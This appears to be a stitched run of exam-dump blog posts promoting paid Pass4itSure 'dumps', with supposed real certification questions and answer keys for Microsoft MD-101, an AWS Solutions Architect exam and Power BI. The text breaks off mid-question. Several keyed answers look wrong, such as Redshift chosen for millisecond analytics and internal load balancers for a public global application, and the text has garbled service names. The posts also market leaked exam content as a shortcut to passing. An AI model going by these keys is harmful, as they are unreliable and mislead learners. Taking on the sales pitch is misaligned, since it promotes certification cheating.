References: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-udr-overview

Of course, not all the AZ-900 exam questions are shared, all the exam questions need to go to Pass4itSure AZ-900 dumps download https://www.pass4itsure.com/az-900.html

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It is advisable to pass the exam with AZ-900 dumps 2023. You can trust with confidence.

MD-101 Dumps 2023 Update Eases Your Exam Stress

March 31, 2023March 31, 2023 softkeysd

I often see people send me messages, “What if you fail the Microsoft MD-101 exam?” The fact that the Microsoft MD-101 exam is more stressful is well known. Today to bring you a solution, I feel you need MD-101 dumps to help relieve stress and boost confidence.

Ease MD-101 exam stress plan: Download Pass4itSure MD-101 dumps 2023 https://www.pass4itsure.com/md-101.html (latest update, 414+ new issues, PDF+VCE format).

How to study stress-free

Studying for the Microsoft MD-101 exam requires skill. In any skill, practice is the key to success. However, time and effort are not enough. Just like participating in sports, certain basic principles must be adhered to achieve the best results.

Unstable study habits can produce bad results. So you need the help of the latest MD-101 dump 2023, which gives you a specified plan, step by step.

Choose the right MD-101 dumps to ease your exam stress

Choosing the right MD-101 dumps is critical to ensure your exam success. As a solution, Pass4itSure is a great choice, it is a consolidation of the latest MD-101 exam learning materials, providing you with the latest exam practice questions, all about the real exam content.

It is a collection of questions distilled from painstaking work, preparation, and constant feedback from Pass4itSure experts, and by practicing it, you will easily pass the MD-101 exam without stress.

Pre-test yourself!

Review practice many times, which is beneficial for the MD-101 exam. It is not only good to understand the content of the exam, but also to be familiar with the question types of the exam.

To allow you to practice better, we provide free MD-101 online test questions for learning:

Question 1:

Your company has several Windows 10 Microsoft Azure Active Directory (Azure AD) joined workstations. These workstations have been enrolled in Microsoft Intune. You are creating a device configuration profile for the workstations.

You have been informed that a custom image should be displayed as the Desktop background picture. Which of the following is a Device restriction setting that should be configured?

A. Locked screen experience

B. Personalization

C. Display

D. General

Correct Answer: B

Wallpaper image, or Desktop background picture, URL is set under Personalization.

References: https://docs.microsoft.com/en-us/intune/device-restrictions-windows-10

Question 2:

Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while

others might not have a correct solution.

After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear on the review screen.

You have a computer that runs Windows 8.1. Two days ago, you upgraded the computer to Windows 10. You need to downgrade the computer to Windows 8.1.

Solution: You restart the computer to Windows Recovery Environment (Windows RE) and use the Advanced options. Does this meet the goal?

A. Yes

B. No

Correct Answer: A

Tested on W8.1 > Upgrade to W10. After the upgrade is completed, restart WinRE. From winRE > Avanced Options > uninstall last Features Updates. The computer restarted, uninstalls W10 and I could log on to win 8.1 – the answer is YES.

This Microsoft doc says the answer should be “YES”

https://answers.microsoft.com/en-us/windows/forum/all/cant-roll-back-to-win-10/145b5900-420f-4685-a12a-3f8efb25ef36

Here is how:

“Reset this PC and Go back buttons in Settings > System > Recovery do not function. Reset and rollback can be accessed from the Windows Recovery Environment by selecting System > Recovery > Advanced startup, and pressing Restart

now. Once in Windows Recovery, choose Troubleshoot.

Choose Reset this PC to perform a reset.

Choose Advanced options > Uninstall Updates > Uninstall latest feature update to perform a rollback.”

Question 3:

You have a server that runs the Microsoft Deployment Toolkit (MDT). You have computers that run Windows 8.1 or Windows 10.

You have a Microsoft 365 tenant. Microsoft 365 Enterprise E5 licenses are assigned to all users.

You need to recommend a strategy to install Windows 10 on Windows 8.1 computers. The installation must retain the user files, settings, and supported applications.

What should you recommend?

A. Refresh the Window 8.1 computers by using Windows 10 and use the User State Migration Tool (USMT).

B. Perform an in-place upgrade of Windows 8.1 to Windows 10.

C. Refresh the Window 8.1 computers by using Windows 10 and use Windows Autopilot white glove service to finalize the installation.

D. Refresh the Window 8.1 computers by using Windows 10 and use Windows Autopilot user-driven mode.

Correct Answer: B

The simplest path to upgrade PCs currently running Windows 7, Windows 8, or Windows 8.1 to Windows 10 is through an in-place upgrade. You can use a Microsoft Endpoint Manager task sequence to completely automate the process.

Note: For Windows 10 deployment, Microsoft 365 includes a fantastic deployment advisor that can walk you through the entire process of deploying Windows 10.

The wizard supports multiple Windows 10 deployment methods, including:

Windows Autopilot

In-place upgrade Deploying Windows 10 upgrade with Intune

Deploying Windows 10 upgrade with Microsoft Endpoint Configuration Manager

Deploying a computer refresh with Microsoft Endpoint Configuration Manager

Reference:

https://docs.microsoft.com/en-us/windows/deployment/deploy-m365 https://docs.microsoft.com/en-us/windows/deployment/deploy-windows-cm/upgrade-to-windows-10-with-configuration-manager

Question 4:

You use Microsoft Intune to manage client computers. The computers run one of the following operating systems:

1.Windows 8.1

2.Windows 10 Pro

3.Windows 10 Enterprise

4.Windows 10 Enterprise LTSC

You plan to manage Windows updates on the computers by using update rings.

Which operating systems support update rings?

A. Windows 10 Pro, Windows 10 Enterprise, and Windows 10 Enterprise LTSC only

B. Windows 8.1, Windows 10 Pro, Windows 10 Enterprise, and Windows 10 Enterprise LTSC

C. Windows 10 Enterprise and Windows 10 Enterprise LTSC only

D. Windows 10 Pro and Windows 10 Enterprise only

Correct Answer: D

D. Windows 10 Pro and Windows 10 Enterprise only

Update rings are supported for the following Windows editions:

Windows 10/11 Pro

Windows 10/11 Enterprise

Windows 10/11 Team – for Surface Hub devices

Windows Holographic for Business

Update ring policies are supported for devices that run Windows 10 version 1607 or later, and Windows 11

Incorrect:

The Long-Term Servicing Channel (LTSC) is designed for Windows 10 devices and use cases where the key requirement is that functionality and features don’t change over time. Examples include medical systems (such as those used for

MRI and CAT scans), industrial process controllers, and air traffic control devices.

These devices share characteristics of embedded systems: they are typically designed for a specific purpose and are developed, tested, and certified before use.

They are treated as a whole system and are, therefore, commonly upgraded by building and validating a new system, turning off the old device, and replacing it with a new, certified device.

Reference: https://docs.microsoft.com/en-us/mem/intune/protect/windows-update-for-business-configure https://techcommunity.microsoft.com/t5/windows-it-pro-blog/ltsc-what-is-it-and-when-should-it-be-used/ba-p/293181

Question 5:

You have a Microsoft 365 E5 subscription that contains a user named User1 and the devices shown in the following table.

User1 can access her Microsoft Exchange Online mailbox from both Device 1 and Device 2.

You plan to create a Conditional Access policy named CAPolicy1 that will have the following settings:

1.Assignments

2.Users or workload identities: User1

3.Cloud apps or actions: Office 365 Exchange Online

4.Access controls

5.Grant: Block access

You need to configure CAPolicy1 to allow mailbox access from Device 1 but block mailbox access from Device 2.

Solution: You add a condition that specifies a trusted location.

Does this meet the goal?

A. Yes

B. No

Correct Answer: B

Instead, use solution: You add a condition to filter for devices.

Note: Conditional Access: Filter for devices

When creating Conditional Access policies, administrators have asked for the ability to target or exclude specific devices in their environment. The conditioning filter for devices gives administrators this capability.

Now you can target specific devices using supported operators and properties for device filters and the other available assignment conditions in your Conditional Access policies.

Reference: https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-condition-filters-for-devices

Question 6:

You have devices enrolled in Microsoft Intune as shown in the following table.

You create an app protection policy named Policy1 that has the following settings:

1. Platform: Windows 10

2. Protected apps: App1

3. Exempt apps: App2

4. Network boundary: Cloud resources, IPv4 ranges

You assign Policy1 to Group1 and Group2. You exclude Group 3 from Policy 1.

Which devices will apply to Policy 1?

A. Device1, Device2, Device4, and Device5

B. Device1, Device4, and Device5 only

C. Device4 and Device5 only

D. Device1, Device3, Device4 and Device5

Correct Answer: C

Intune devise configuration profiles let you include and exclude groups from profile assignments. Exclusion takes precedence over inclusion in the same group types.

Policy1 excludes Group3 and Group3 includes Device1, Device2, and Device3.

Incorrect Answers:

A, B, D: Device1, Device2, and Device3 are members of Group3. Policy1 excludes Group3. Exclusion takes precedence over inclusion.

Reference:

https://docs.microsoft.com/en-us/mem/intune/configuration/device-profile-assign#exclude-groups-from-a-profile-assignment

https://docs.microsoft.com/en-us/intune/app-protection-policies

Question 7:

You have a Microsoft 365 tenant that uses Microsoft Intune.

You use the Company Portal app to access and install published apps to enrolled devices.

From the Microsoft Endpoint Manager admin center, you add a Microsoft Store app.

Which two App information types are visible in the Company Portal?

NOTE: Each correct selection is worth one point.

A. Information URL

B. Owner

C. Privacy URL

D. Developer

Correct Answer: AC

Information URL: The information URL will be visible to users in Company Portal.

Privacy URL: The privacy URL will be visible to users in Company Portal.

Incorrect answers:

Developer: This information will be visible to people signed into the admin center.

Owner: This name will be visible to people signed in to the admin center.

Reference:

https://docs.microsoft.com/en-us/mem/intune/apps/store-apps-windows

Question 8:

Your company makes use of Microsoft Intune to manage the Windows 10 computers that run.

After creating an app protection policy for Microsoft Edge, you assign the policy to a group.

After opening Microsoft Edge on one of the computers, you decide to check whether the app protection policy is protecting Microsoft Edge on the computer.

You plan to add a column in Task Manager to achieve this.

Which of the following is the column that should be added?

A. Base priority

B. Command line

C. Enterprise context

D. DPI awareness

Correct Answer: C

References: https://docs.microsoft.com/en-us/windows/security/information-protection/windows-information-protection/wip-app-enterprise-context https://www.itpromentor.com/win10-mam-wip/

Question 9:

HOTSPOT

Your network contains an Active Directory domain. The domain contains 200 computers that run Windows 8.1. You have a Microsoft Azure subscription.

You plan to upgrade the computers to Windows 10.

You need to generate an Upgrade Readiness report for the computers.

What should you do? To answer, select the appropriate options in the answer area.

NOTE: Each correct selection is worth one point.

Hot Area:

Correct Answer:

Box 1: Create an Azure Log Analytics workspace and add a solution

Once you have an Azure subscription, follow the steps below to get started with Upgrade Readiness.

Set up a subscription to Microsoft Operations Management Suite (OMS).

You will be prompted to link the OMS workspace to an Azure subscription.

Once the link with an Azure subscription is complete, your workspace should be ready and you will be redirected to your blank workspace.

Enable Upgrade Analytics. To do this, click on the Solutions Gallery In the Solutions Gallery page, scroll to the right to locate and select the Upgrade Analytics

(Preview) tile.

Now that your Upgrade Analytics subscription is ready, the last requirement is to configure Upgrade Analytics with the details of which version of Windows 10 you are targeting. To do this, click on the tile for Upgrade Analytics Preview. On the

Upgrade Analytics Preview page, click on the gear icon labeled Solution Settings.

Box 2: Configure the Commercial ID

For the commercial value variable, use the “Commercial ID” that was generated when you set up your Upgrade Readiness solution. If you don’t have this, you can pull it out from your OMS workspace.

Reference:

https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/getting-started-with-upgrade-readiness/ba-p/714705 https://docs.microsoft.com/sv-se/archive/blogs/ukplatforms/upgrade-readiness-client-configuration

Question 10:

You need to consider the underlined segment to establish whether it is accurate.

Your company\’s Microsoft Azure subscription includes an Azure Log Analytics workspace.

After deploying a new Windows 10 computer, which belongs to a workgroup, you are tasked with making sure that you can utilize Log Analytics to query events from the new computer.

You configure the new computer\’s commercial ID.

Select “No adjustment required” if the underlined segment is accurate. If the underlined segment is inaccurate, select the accurate option.

What should you do on Computer1?

A. No adjustment is required.

B. install the Azure Diagnostic extension on the new computer

C. install the Dependency agent on the new computer

D. install the Microsoft Monitoring Agent on the new computer

Correct Answer: D

The Azure Monitor agent (AMA) collects monitoring data from the guest operating system of Azure and hybrid virtual machines and delivers it to Azure Monitor where it can be used by different features, insights, and other services such as Microsoft Sentinel and Microsoft Defender for Cloud.

Reference: https://docs.microsoft.com/en-us/azure/azure-monitor/agents/azure-monitor-agent-migration

Question 11:

You have a shared computer that runs Windows 10.

The computer is infected with a virus.

You discover that a malicious TTF font was used to compromise the computer.

You need to prevent this type of threat from affecting the computer in the future.

What should you use?

A. Windows Defender Exploit Guard

B. Windows Defender Application Guard

C. Windows Defender Credential Guard

D. Windows Defender System Guard

E. Windows Defender SmartScreen

Correct Answer: A

Reference: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/windows-defender-exploit-guard

Question 12:

After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear on the review screen.

You have an Azure Directory group named Group1 that contains Windows 10 Enterprise devices and Windows 10 Pro devices.

From Microsoft Intune, you create a device configuration profile named Profile1.

You need to ensure that Profile 1 applies to only the Windows 10 Enterprise devices in Group 1.

Solution: You create an Azure Active Directory group that contains only the Windows 10 Enterprise devices. You assign Profile 1 to the new group.

Does this meet the goal?

A. Yes

B. No

Correct Answer: B

Instead: You configure an applicability rule for Profile1. You assign Profile1 to Group1.

Note: Applicability rules allow administrators to target devices in a group that meets specific criteria. For example, you create a device restrictions profile that applies to the All Windows 10/11 devices group. And, you only want the profile assigned to devices running Windows Enterprise.

To do this task, create an applicability rule.

Reference:

https://docs.microsoft.com/en-us/mem/intune/configuration/device-profile-create

Question 13:

HOTSPOT

You create a Windows Autopilot deployment profile.

You need to configure the profile settings to meet the following requirements:

1. Automatically enroll new devices and provision system apps without requiring end-user authentication.

2. Include the hardware serial number in the computer name.

Which two settings should you configure? To answer, select the appropriate settings in the answer area.

NOTE: Each correct selection is worth one point.

Hot Area:

Correct Answer:

Box 1: Deployment mode User-driven

User-driven: Devices with this profile are associated with the user enrolling the device. User credentials are required to enroll the device.

Change it to Self-deploying (preview): (requires Windows 10, version 1809 or later) Devices with this profile aren\’t associated with the user enrolling the device.

User credentials aren’t required to enroll the device. When a device has no user associated with it, user-based compliance policies don’t apply to it. When using the self-deploying mode, only compliance policies targeting the device will be applied.

Box 2: Apply device name template

Apply device name template (requires Windows 10, version 1809 or later, and Azure AD join type): Choose Yes to create a template to use when naming a device during enrollment. Names must be 15 characters or less and can have letters,

numbers, and hyphens. Names can’t be all numbers. Use the %SERIAL% macro to add a hardware-specific serial number. Or, use the %RAND:x% macro to add a random string of numbers, where x equals the number of digits to add.

Reference:

https://docs.microsoft.com/en-us/mem/autopilot/profiles

Question 14:

HOTSPOT

You implement the planned changes for Connection1 and Connection2.

How many VPN connections will there be for User1 when the user signs in to Device1 and Device2? To answer, select the appropriate options in the answer area.

NOTE: Each correct selection is worth one point.

Hot Area:

Correct Answer:

Box 1: 2 Device 1 has VPN1 and VPN2.

Box 2: 3 Device2 has VPN1, VPN2 (group assignment), and VPN3

Question 15:

Your company has an Active Directory domain, named weylandindustries.com. the domain is synced to Microsoft Azure Active Directory (Azure AD) and all company computers have been enrolled in Microsoft Intune.

You are preparing to perform a Fresh Start action on certain company devices.

Which of the following operating systems support the Fresh Start action? (Choose all that apply.)

A. Windows Vista

B. Windows 8.1

C. Windows 10

D. iOS

Correct Answer: C

The Fresh Start device action removes any apps that are installed on a PC running Windows 10, version 1709 or later.

References: https://docs.microsoft.com/en-us/intune/device-fresh-start

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Question 1:

A company is migrating a distributed application to AWS The application serves variable workloads The legacy platform consists of a primary server trial coordinates jobs across multiple compute nodes The company wants to modernize the application with a solution that maximizes resiliency and scalability.

How should a solutions architect design the architecture to meet these requirements?

A. Configure an Amazon Simple Queue Service (Amazon SQS) queue as a destination for the jobs Implement the compute nodes with Amazon EC2 instances that are managed in an Auto Scaling group. Configure EC2 Auto Scaling to use scheduled scaling

B. Configure an Amazon Simple Queue Service (Amazon SQS) queue as a destination for the jobs Implement the compute nodes with Amazon EC2 Instances that are managed in an Auto Scaling group Configure EC2 Auto Scaling based on the size of the queue

C. Implement the primary server and the compute nodes with Amazon EC2 instances that are managed In an Auto Scaling group. Configure AWS CloudTrail as a destination for the fobs Configure EC2 Auto Scaling based on the load on the primary server

D. implement the primary server and the compute nodes with Amazon EC2 instances that are managed in an Auto Scaling group Configure Amazon EventBridge (Amazon CloudWatch Events) as a destination for the jobs Configure EC2 Auto Scaling based on the load on the compute nodes

Correct Answer: B

A – incorrect: Schedule scaling policy doesn’t make sense.

C, D – incorrect: Primary server should not be in same Auto Scaling group with compute nodes.

B is correct.

Question 2:

A company is planning on deploying a newly built application on AWS in a default VPC. The application will consist of a web layer and a database layer. The web server was created in public subnets, and the MySQL database was created in private subnets.

All subnets are created with the default network ACL settings, and the default security group in the VPC will be replaced with new custom security groups.

A. Create a database server security group with inbound and outbound rules for MySQL port 3306 traffic to and from anywhere (0.0.0.0/0).

B. Create a database server security group with an inbound rule for MySQL port 3300 and specify the source as a web server security group.

C. Create a web server security group within an inbound allow rule for HTTPS port 443 traffic from anywhere (0.0.0.0/0) and an inbound deny rule for IP range 182. 20.0.0/16.

D. Create a web server security group with an inbound rule for HTTPS port 443 traffic from anywhere (0.0.0.0/0). Create network ACL inbound and outbound deny rules for IP range 182. 20.0.0/16.

E. Create a web server security group with inbound and outbound rules for HTTPS port 443 traffic to and from anywhere (0.0.0.0/0). Create a network ACL inbound deny rule for IP range 182. 20.0.0/16.

Correct Answer: BD

Question 3:

A company recently released a new type of internet-connected sensor. The company is expecting to sell thousands of sensors, which are designed to stream high volumes of data each second to a central location.

A solutions architect must design a solution that ingests and stores data so that engineering teams can analyze it in near-real time with millisecond responsiveness. Which solution should the solution architect recommend?

A. Use an Amazon SOS queue to ingest the data. Consume the data with an AWS Lambda function which then stores the data in Amazon Redshift

B. Use on Amazon SQS queue to ingest the data. Consume the data with an AWS Lambda function which then stores the data In Amazon DynamoDB

C. Use Amazon Kinases Data Streams to ingest the data. Consume the data with an AWS Lambda function, which then stores the data m Amazon Redshift

D. Use Amazon Kinesis Data Streams to ingest the data. Consume the data with an AWS Lambda function, which then stores the data m Amazon DynamoDB

Correct Answer: C

Question 4:

A company has a service that produces event data. The company wants to use AWS to process the event data as it is received. The data is written in a specific order that must be maintained throughout processing The company wants to implement a solution that minimizes operational overhead.

How should a solutions architect accomplish this?

A. Create an Amazon Simple Queue Service (Amazon SQS) FIFO queue to hold messages Set up an AWS Lambda function to process messages from the queue

B. Create an Amazon Simple Notification Service (Amazon SNS) topic to deliver notifications containing payloads to process Configure an AWS Lambda function as a subscriber.

C. Create an Amazon Simple Queue Service (Amazon SQS) standard queue to hold messages. Set up an AWS Lambda function to process messages from the queue independently

D. Create an Amazon Simple Notification Service (Amazon SNS) topic to deliver notifications containing payloads to process. Configure an Amazon Simple Queue Service (Amazon SQS) queue as a subscriber.

Correct Answer: A

The details are revealed below URL:

https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html

FIFO (First-In-First-Out) queues are designed to enhance messaging between applications when the order of operations and events is critical, or where duplicates can\’t be tolerated. Examples of situations where you might use FIFO queues include the following:

To make sure that user-entered commands are run in the right order. To display the correct product price by sending price modifications in the right order. To prevent a student from enrolling in a course before registering for an account.

Question 5:

A gaming company wants to launch a new internet-facing application in multiple AWS Regions. The application will use the TCP and UDP protocols for communication. The company needs to provide high availability and minimum latency for global users.

Which combination of actions should a solutions architect take to meet these requirements? (Select TWO.)

A. Create internal Network Load Balancers in front of the application in each Region

B. Create external Application Load Balancers in front of the application in each Region

C. Create an AWS Global Accelerator accelerator to route traffic to the load balancers in each Region

D. Configure Amazon Route 53 to use a geolocation routing policy to distribute the traffic

E. Configure Amazon CloudFront to handle the traffic and route requests to the application in each Region

Correct Answer: AC

Question 6:

A company is running an online transaction processing (OLTP) workload on AWS. This workload uses an unencrypted Amazon RDS DB instance in a Multi-AZ deployment. Daily database snapshots are taken from this instance.

What should a solutions architect do to ensure the database and snapshots are always encrypted moving forward?

A. Encrypt a copy of the latest DB snapshot. Replace the existing DB instance by restoring the encrypted snapshot

B. Create a new encrypted Amazon Elastic Block Store (Amazon EBS) volume and copy the snapshots to it Enable encryption on the DB instance

C. Copy the snapshots and enable encryption using AWS Key Management Service (AWS KMS) Restore the encrypted snapshot to an existing DB instance

D. Copy the snapshots to an Amazon S3 bucket that is encrypted using server-side encryption with AWS Key Management Service (AWS KMS) managed keys (SSE-KMS)

Correct Answer: A

https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_RestoreFromSnapshot.html#USER_RestoreFromSnapshot.CON Under “Encrypt unencrypted resources” https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html

Question 7:

A company hosts an application on multiple Amazon EC2 instances The application processes messages from an Amazon SQS queue writes to an Amazon RDS table and deletes the message from the queue Occasional duplicate records are found in the RDS table. The SQS queue does not contain any duplicate messages.

What should a solutions architect do to ensure messages are being processed once only?

A. Use the CreateQueue API call to create a new queue

B. Use the Add Permission API call to add appropriate permissions

C. Use the ReceiveMessage API call to set an appropriate wail time

D. Use the ChangeMessageVisibility API call to increase the visibility timeout

Correct Answer: D

The visibility timeout begins when Amazon SQS returns a message. During this time, the consumer processes and deletes the message. However, if the consumer fails before deleting the message and your system doesn’t call the DeleteMessage action for that message before the visibility timeout expires, the message becomes visible to other consumers and the message is received again.

If a message must be received only once, your consumer should delete it within the duration of the visibility timeout.

https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html

Keyword: SQS queue writes to an Amazon RDS From this, Option D best suite, and amp; other Options are ruled out [Option A – You can\’t introduce one more Queue in the existing one; Option B – only Permission and amp; Option C – Only Retrieves Messages] FIF O queues are designed to never introduce duplicate messages.

However, your message producer might introduce duplicates in certain scenarios: for example, if the producer sends a message, does not receive a response, and then resends the same message.

Amazon SQS APIs provide deduplication functionality that prevents your message producer from sending duplicates. Any duplicates introduced by the message producer are removed within a 5-minute deduplication interval. For standard queues, you might occasionally receive a duplicate copy of a message (at least- one delivery).

If you use a standard queue, you must design your applications to be idempotent (that is, they must not be affected adversely when processing the same message more than once).

Question 8:

A company runs a photo processing application that needs to frequently upload and download pictures from Amazon S3 buckets that are located in the same AWS Region. A solutions architect has noticed an increased cost in data transfer fees and needs to implement a solution to reduce these costs.

How can the solutions architect meet this requirement?

A. Deploy Amazon API Gateway into a public subnet and adjust the routing table to route S3 calls through It.

B. Deploy a NAT gateway into a public subnet and attach an endpoint policy that allows access to the S3 buckets.

C. Deploy the application Into a public subnet and allow it to route through an internet gateway to access the S3 Buckets

D. Deploy an S3 VPC gateway endpoint into the VPC and attach an endpoint policy that allows access to the S3 buckets.

Correct Answer: D

To reduce costs get rid of NAT Gateway, and VPC endpoint to S3 Close question to Question #4, with the same solution.

Question 9:

A media company is evaluating the possibility of moving its systems to the AWS Cloud The company needs at least 10 TB of storage with the maximum possible I/O performance for video processing.

300 TB of very durable storage for storing media content, and 900 TB of storage to meet requirements for archival media that is not in use anymore.

Which set of services should a solutions architect recommend to meet these requirements?

A. Amazon EBS for maximum performance, Amazon S3 for durable data storage, and Amazon S3 Glacier for archival storage

B. Amazon EBS for maximum performance, Amazon EFS for durable data storage, and Amazon S3 Glacier for archival storage

C. Amazon EC2 instance store for maximum performance. Amazon EFS for durable data storage and Amazon S3 for archival storage

D. Amazon EC2 Instance store for maximum performance. Amazon S3 for durable data storage, and Amazon S3 Glacier for archival storage

Correct Answer: D

Max instance store possible at this time is 30TB for NVMe which has a higher I/O compared to EBS.

is4gen.8xlarge 4 x 7,500 GB (30 TB) NVMe SSD

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/InstanceStorage.html#instance-store-volumes

Question 10:

A company has a multi-tier application that runs six front-end web servers in an Amazon EC2 Auto Scaling group in a single Availability Zone behind an Application Load Balancer (ALB). A solutions architect needs to modify the infrastructure to be highly available without modifying the application.

Which architecture should the solutions architect choose that provides high availability?

A. Create an Auto Scaling group that uses three Instances across each of the tv/o Regions.

B. Modify the Auto Scaling group to use three instances across each of the two Availability Zones.

C. Create an Auto Scaling template that can be used to quickly create more instances in another Region.

D. Change the ALB in front of the Amazon EC2 instances in a round-robin configuration to balance traffic to the web tier.

Correct Answer: B

High availability can be enabled for this architecture quite simply by modifying the existing Auto Scaling group to use multiple availability zones. The ASG will automatically balance the load so you don’t actually need to specify the instances per AZ.

Question 11:

A company is planning to use an Amazon DynamoDB table for data storage. The company is concerned about cost optimization. The table will not be used on most mornings. In the evenings, the read-and-write traffic will often be unpredictable. When traffic spikes occur, they will happen very quickly.

What should a solutions architect recommend?

A. Create a DynamoDB table in on-demand capacity mode.

B. Create a DynamoDB table with a global secondary index.

C. Create a DynamoDB table with provisioned capacity and auto-scaling.

D. Create a DynamoDB table in provisioned capacity mode, and configure it as a global table.

Correct Answer: A

An on-demand mode is a good option if any of the following are true:

– You create new tables with unknown workloads.

-You have unpredictable application traffic.

-You prefer the ease of paying for only what you use.

Question 12:

A solutions architect needs to implement a solution to reduce a company\’s storage costs. All the company\’s data is in the Amazon S3 Standard storage class. The company must keep all data for at least 25 years. Data from the most recent 2 years must be highly available and immediately retrievable.

Which solution will meet these requirements?

A. Set up an S3 Lifecycle policy to transition objects to S3 Glacier Deep Archive immediately.

B. Set up an S3 Lifecycle policy to transition objects to S3 Glacier Deep Archive after 2 years.

C. Use S3 Intelligent-Tiering. Activate the archiving option to ensure that data is archived in S3 Glacier Deep Archive.

D. Set up an S3 Lifecycle policy to transition objects to S3 One Zone-Infrequent Access (S3 One Zone-IA) immediately and to S3 Glacier Deep Archive after 2 years.

Correct Answer: B

Why Not C? Because in Intelligent Tier the objects are automatically moved to different tiers.

The question says “the data from the most recent 2 yrs should be highly available and immediately retrievable”, which means in the intelligent tier, if you activate archiving option(as Option C specifies), the objects will be moved to the Archive tiers

(instant access to deep archive access tiers) in 90 to 730 days. Remember these archive tiers’ performance will be similar to S3 glacier flexible and s3 deep archive which means files cannot be retrieved immediately within 2 yrs.

We have a hard requirement in question which says it should be retrievable immediately for the 2 yrs. which cannot be achieved in the Intelligent tier. So B is the correct option imho.

Because of the above reason, It’s possible only in S3 standard and then configures lifecycle configuration to move to S3 Glacier Deep Archive after 2 yrs.

Question 13:

A company has an application that ingests incoming messages. Dozens of other applications and microservices then quickly consume these messages. The number of messages varies drastically and sometimes increases suddenly to 100,000 each second. The company wants to decouple the solution and increase scalability.

Which solution meets these requirements?

A. Persist the messages to Amazon Kinesis Data Analytics. Configure the consumer applications to read and process the messages.

B. Deploy the ingestion application on Amazon EC2 instances in an Auto Scaling group to scale the number of EC2 instances based on CPU metrics.

C. Write the messages to Amazon Kinesis Data Streams with a single shard. Use an AWS Lambda function to preprocess messages and store them in Amazon DynamoDB. Configure the consumer applications to read from DynamoDB to process the messages.

D. Publish the messages to an Amazon Simple Notification Service (Amazon SNS) topic with multiple Amazon Simple Queue Service (Amazon SOS) subscriptions. Configure the consumer applications to process the messages from the queues.

Correct Answer: D

decoupling an application using sqs and fanout using sns

https://docs.aws.amazon.com/sns/latest/dg/sns-common-scenarios.html (A is wrong Kinesis Analysis does not \’persist\’ by itself.)

Question 14:

A company wants to manage Amazon Machine Images (AMls). The company currently copies AMls to the same AWS Region where the AMls were created. The company needs to design an application that captures AWS API calls and sends alerts whenever the Amazon EC2 Createlmage API operation is called within the company\’s account.

Which solution will meet these requirements with the LEAST operational overhead?

A. Create an AWS Lambda function to query AWS CloudTrail logs and to send an alert when a Createlmage API call is detected

B. Configure AWS CloudTrail with an Amazon Simple Notification Sen/ice (Amazon SNS) notification that occurs when updated logs are sent to Amazon S3 Use Amazon Athena to create a new table and to query on Createlmage when an API call is detected

C. Create an Amazon EventBndge (Amazon CloudWatch Events) rule for the Createlmage API call Configure the target as an Amazon Simple Notification Service (Amazon SNS) topic to send an alert when a Createlmage API call is detected

D. Configure an Amazon Simple Queue Service (Amazon SQS) FIFO queue as a target for AWS CloudTrail logs Create an AWS Lambda function to send an alert to an Amazon Simple Notification Service (Amazon SNS) topic when a Createlmage API call is detected

Correct Answer: D

Question 15:

A company has two applications: a sender application that sends messages with payloads to be processed and a processing application intended to receive the messages with payloads. The company wants to implement an AWS service to handle messages between the two applications.

The sender application can send about 1.000 messages each hour. The messages may take up to 2 days to be processed. If the messages fail to process, they must be retained so that they do not impact the processing of any remaining messages.

Which solution meets these requirements and is the MOST operationally efficient?

A. Set up an Amazon EC2 instance running a Redis database. Configure both applications to use the instance. Store, process, and delete the messages, respectively.

B. Use an Amazon Kinesis data stream to receive the messages from the sender application. Integrate the processing application with the Kinesis Client Library (KCL).

C. Integrate the sender and processor applications with an Amazon Simple Queue Service (Amazon SQS) queue. Configure a dead-letter queue to collect the messages that failed to process.

D. Subscribe the processing application to an Amazon Simple Notification Service (Amazon SNS) topic to receive notifications to process. Integrate the sender application to write to the SNS topic.

Correct Answer: C

https://aws.amazon.com/blogs/compute/building-loosely-coupled-scalable-c-applications-with-amazon-sqs-and-amazon-sns/ https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-dead-letter-queues.html

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NEW Q1

You have a Power BI dataset that contains a table named Temperature Readings. Temperature Readings contain the columns shown in the following table.

The table has 12 million rows. All the columns are needed for analysis. You need to optimize the dataset to decrease the model size. The solution must not affect the precision of the data. What should you do?

A. Split the DateTime column into separate date and time columns.
B. Disable the Power Query load.
C. Round the Longitude column to two decimal places.
D. Change the data type of the TempCelsius column to Integer

Correct Answer: B

Disable Power Query load. Power Query queries that are intended to support data integration with other queries should not be loaded into the model. To avoid loading the query to the model, take care to ensure that you disable query load in these instances.

Reference:
https://docs.microsoft.com/en-us/power-bi/guidance/import-modeling-data-reduction#disable-power-query-query-load

NEW Q2

You have an on-premises Power BI Report Server. You plan to create a report in Power BI Desktop and publish the report to the report server. Which data source should the report use?

A. Microsoft Azure SQL Database
B. a Microsoft SQL Server database
C. a Microsoft SQL Server Analysis Services (SSAS) database
D. Microsoft Excel

Correct Answer: C

References: https://docs.microsoft.com/en-us/power-bi/report-server/quickstart-create-powerbi-report
https://docs.microsoft.com/en-us/power-bi/report-server/connect-data-sources

NEW Q3

You have a collection of reports for the HR department of your company. The datasets use row-level security (RLS). The company has multiple sales regions that each have an HR manager. You need to ensure that the HR managers can interact with the data from their region only. The HR managers must be prevented from changing the layout of the reports. How should you provide access to the reports for the HR managers?

A. Create a new workspace, copy the datasets and reports, and add the HR managers as members of the workspace.
B. Publish the reports to a different workspace other than the one hosting the datasets.
C. Publish the reports in an app and grant the HR managers access permission.
D. Add the HR managers as members of the existing workspace that hosts the reports and the datasets.

Correct Answer: C

Note: Row-level security (RLS) with Power BI can be used to restrict data access for given users. Filters restrict data access at the row level, and you can define filters within roles. In the Power BI service, members of a workspace have access to datasets in the workspace.
RLS doesn’t restrict this data access.

Reference:
https://docs.microsoft.com/en-us/power-bi/admin/service-admin-rls

NEW Q4

You need to minimize me size of the dataset. The solution must meet the report requirements What should you do?

